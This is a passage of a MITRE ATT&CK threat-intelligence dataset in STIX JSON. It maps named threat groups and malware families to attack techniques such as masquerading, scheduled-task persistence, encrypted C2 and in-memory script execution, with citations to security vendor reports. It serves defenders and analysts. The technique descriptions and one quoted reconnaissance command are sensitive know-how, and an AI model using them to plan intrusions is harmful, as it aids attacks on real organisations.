            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The file name AcroRD32.exe, a legitimate process name for Adobe's Acrobat Reader, was used by [APT1](https://attack.mitre.org/groups/G0006) as a name for malware.(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-17T23:04:06.145Z",
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        {
            "id": "relationship--83075ee3-b372-48a4-a54c-ca54afdd8c0b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has extensively used strategic web compromises to target victims.(Citation: Dell TG-3390)(Citation: Securelist LuckyMouse June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/",
                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
                    "source_name": "Securelist LuckyMouse June 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.225Z",
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        {
            "id": "relationship--3dad318f-b446-49c6-a62b-f0596b63a9c5",
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            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used CMSTP.exe and a malicious INF to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.(Citation: FireEye MuddyWater Mar 2018)",
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                {
                    "source_name": "FireEye MuddyWater Mar 2018",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"
                }
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
            "type": "relationship",
            "modified": "2019-06-28T15:30:58.709Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--98908617-068d-4b6e-bcba-ad213c137b1e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used scheduled tasks to persist on victim systems.(Citation: FireEye APT32 May 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                },
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:22:43.255Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic. [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has also used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-30T18:41:41.342Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--cff2088f-c003-4d03-aa8a-cca36753b930",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "type": "relationship",
            "modified": "2020-07-14T19:47:47.045Z",
            "created": "2017-05-31T21:33:27.020Z"
        },
        {
            "id": "relationship--94b4648a-4108-468c-be51-cca365fd97ac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers system information via Windows Management Instrumentation (WMI).(Citation: Citizen Lab Stealth Falcon May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2020-03-17T02:38:48.533Z",
            "created": "2017-05-31T21:33:27.073Z"
        },
        {
            "id": "relationship--55ea8954-9b81-45e4-89c9-a6b55f5b2541",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used scheduled tasks to maintain RDP backdoors.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:28:03.600Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--8b0e9de1-a7b0-479e-aee7-76f2549508c6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) uses Microsoft\u2019s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server.(Citation: FireEye APT17)(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT17",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7",
            "type": "relationship",
            "modified": "2020-03-20T21:04:48.996Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--dc4bc74b-cd60-4853-a436-8d5e34b01564",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses multiple protocols (HTTPS, HTTP, DNS) for its C2 server as fallback channels if communication with one is unsuccessful.(Citation: Unit 42 QUADAGENT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2020-03-17T02:18:35.328Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e7baabf7-9300-432d-aa78-000ac099d4d3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wingbird](https://attack.mitre.org/software/S0176) performs multiple process injections to hijack system processes and execute malicious code.(Citation: Microsoft SIR Vol 21)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft SIR Vol 21",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"
                }
            ],
            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2020-02-11T19:39:04.065Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--84f88ed3-28fe-4936-8ea2-2d4f6d015c0c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZeroT](https://attack.mitre.org/software/S0230) has retrieved stage 2 payloads as Bitmap images that use Least Significant Bit (LSB) steganography.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint TA459 April 2017",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"
                },
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235",
            "type": "relationship",
            "modified": "2020-03-19T21:16:25.318Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e42eef1a-107e-40a3-9227-45621e277ff3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families install themselves as new services on victims.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Destructive Malware"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-09-22T16:38:56.457Z",
            "created": "2017-05-31T21:33:27.066Z"
        },
        {
            "id": "relationship--d8609889-3d3e-4f6c-8f52-03ec41876b4d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used RAR to stage and compress local folders.(Citation: FireEye APT35 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:31:45.709Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader uses the Windows command <code>\"cmd.exe\" /C whoami</code> to verify that it is running with the elevated privileges of \u201cSystem.\u201d(Citation: FireEye Operation Double Tap)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.574Z",
            "created": "2017-05-31T21:33:27.056Z"
        },
        {
            "id": "relationship--48eff76f-1f39-49e8-87c2-11607a8aeea3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) collects files with the following extensions: .ppt, .pptx, .pdf, .doc, .docx, .xls, .xlsx, .docm, .rtf, .inp, .xlsm, .csv, .odt, .pps, .vcf and sends them back to the C2 server.(Citation: ASERT Donot March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-04-25T00:09:23.203Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to get the victim's domain and NetBIOS name.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.370Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--61f91f23-a8a5-4b4e-b546-f0fff28851a1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.391Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--10c33088-630e-456d-ad0f-8a63be4d3946",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) uses SSL for encrypting C2 communications.(Citation: Blasco 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments",
                    "description": "Blasco, J. (2013, March 21). New Sykipot developments &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "source_name": "Blasco 2013"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-04-29T22:15:31.440Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bd5bc949-6b6b-4511-87f7-3a439a4681da",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used Registry Run keys for persistence. The group has also set a Startup path to launch the PowerShell shell command and download Cobalt Strike.(Citation: Group IB Cobalt Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.936Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--51cc7dff-7fb4-41bc-a67d-39598f14f1d8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload.(Citation: Malwarebytes SmokeLoader 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/",
                    "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.",
                    "source_name": "Malwarebytes SmokeLoader 2016"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-06-24T19:07:12.589Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f388c949-b692-4863-8e3b-7c1fc21a5fbd",
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            ],
            "source_ref": "course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
            "type": "relationship",
            "modified": "2020-01-15T16:27:32.719Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6fdc3210-9754-4157-b386-8fcd680e732c",
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            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used PowerShell scripts to download and execute programs in memory, without writing to disk.(Citation: Alperovitch 2014)",
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                {
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "source_name": "Alperovitch 2014"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-03-22T20:09:34.777Z",
            "created": "2017-05-31T21:33:27.043Z"
        },
        {
            "id": "relationship--412b7fbf-bc21-4373-9f2c-5f0a26482536",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
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                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                },
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                }
            ],
            "description": "(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.825Z",
            "created": "2017-05-31T21:33:27.062Z"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can modify service configurations.(Citation: Palo Alto Networks BBSRAT)",
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            ],
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                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-04-24T23:10:02.485Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6e366a30-cf75-4a47-855f-91a006014ada",
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            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.444Z",
            "created": "2017-05-31T21:33:27.036Z"
        },
        {
            "id": "relationship--0ead6cee-20a4-46fb-a9c1-8686a776f455",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.374Z",
            "created": "2017-05-31T21:33:27.054Z"
        },
        {
            "id": "relationship--80c071f7-123e-468f-800d-726a1d3e4144",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "external_references": [
                {
                    "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf",
